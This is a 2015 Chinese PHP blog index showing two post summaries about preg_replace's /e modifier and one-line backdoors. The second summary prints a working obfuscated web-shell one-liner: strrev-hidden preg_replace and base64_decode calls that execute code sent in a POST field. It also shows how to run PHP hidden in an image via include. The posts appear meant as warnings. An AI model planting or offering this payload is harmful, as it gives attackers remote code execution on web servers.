2015年3月6日
慎用preg_replace危险的/e修饰符(一句话后门常用)
摘要： 要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误preg_replace函数原型：mixed preg_replace ( mixed pattern, mixed replacement, mix... 阅读全文
posted @ 2015-03-06 19:02 hechunhua 阅读(499) 评论(0) 推荐(0)
php 运行客户提交代码(攻击)和运行图片中的代码
摘要： 1、$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb);2、3、运行图片中的PHP代码，include 1.jpg; 阅读全文
posted @ 2015-03-06 18:42 hechunhua 阅读(386) 评论(0) 推荐(0)